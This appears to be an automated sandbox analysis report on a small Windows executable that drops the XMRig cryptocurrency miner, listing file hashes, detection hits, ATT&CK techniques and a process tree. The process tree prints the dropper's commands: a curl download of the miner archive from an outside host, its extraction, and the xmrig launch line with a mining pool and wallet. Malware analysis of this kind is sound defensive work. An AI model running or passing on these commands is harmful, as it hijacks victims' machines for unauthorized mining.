xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
140s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (12).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral3/files/0x0007000000023232-20.dat	family_xmrig
behavioral3/files/0x0007000000023232-20.dat	xmrig
behavioral3/memory/3988-25-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-26-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-28-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-30-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-31-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-32-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-33-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-34-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-35-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig
behavioral3/memory/3988-36-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	test - Copy (12).exe

Executes dropped EXE 1 IoCs

pid	Process
3988	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3988	xmrig.exe
Token: SeLockMemoryPrivilege	3988	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3988	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 776	968	test - Copy (12).exe	90
PID 968 wrote to memory of 776	968	test - Copy (12).exe	90
PID 776 wrote to memory of 1964	776	cmd.exe	92
PID 776 wrote to memory of 1964	776	cmd.exe	92
PID 776 wrote to memory of 632	776	cmd.exe	101
PID 776 wrote to memory of 632	776	cmd.exe	101
PID 776 wrote to memory of 3988	776	cmd.exe	102
PID 776 wrote to memory of 3988	776	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\f0B1DkBz.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:776
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:1964
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:632
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\f0B1DkBz.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
1.9MB

MD5
0b8bebe768270f5ee7b5467cc6c2c91a

SHA1
8d5c72f040946a4f3ac1b76b9f0b415c62603ffe

SHA256
1ffc3f91e7f50949efa3280d20ac5ccefa26cb079610906d0d730b1f59eae51b

SHA512
709eebfd900740779c944cb06bc99be31e5277fbb0c7e5909c7b568784a810cf81b64200cee925890c14f4fba384c15970a86740589d5ab057f447e2dd347dee

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
1.8MB

MD5
78dbb99aba1f459c508197c7a82d9936

SHA1
298446dd64686c4f7e0dc31ff6ccc2d72d516e59

SHA256
9066cc9e474657962177666d749656c75a1d90d6e2adb9a26ea39e13136a2086

SHA512
414206575fe47734cafda720da623ed3000801be290343a7134cc2b240b8050cc0f434890e66078d898da7c0cfac77e261c4c791bed8675b213ed1ffe0b2be2b

Download Submit
memory/968-0-0x0000000000110000-0x0000000000118000-memory.dmp

Filesize
32KB

Download
memory/968-5-0x00007FF832910000-0x00007FF8333D1000-memory.dmp

Filesize
10.8MB

Download
memory/968-22-0x00007FF832910000-0x00007FF8333D1000-memory.dmp

Filesize
10.8MB

Download
memory/3988-27-0x000001F79F740000-0x000001F79F760000-memory.dmp

Filesize
128KB

Download
memory/3988-32-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-25-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-26-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-23-0x000001F79DE30000-0x000001F79DE50000-memory.dmp

Filesize
128KB

Download
memory/3988-28-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-29-0x000001F79F760000-0x000001F79F780000-memory.dmp

Filesize
128KB

Download
memory/3988-30-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-31-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-24-0x000001F79DE70000-0x000001F79DE90000-memory.dmp

Filesize
128KB

Download
memory/3988-33-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-34-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-35-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-36-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-37-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-38-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download
memory/3988-39-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

Filesize
11.0MB

Download

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Analysis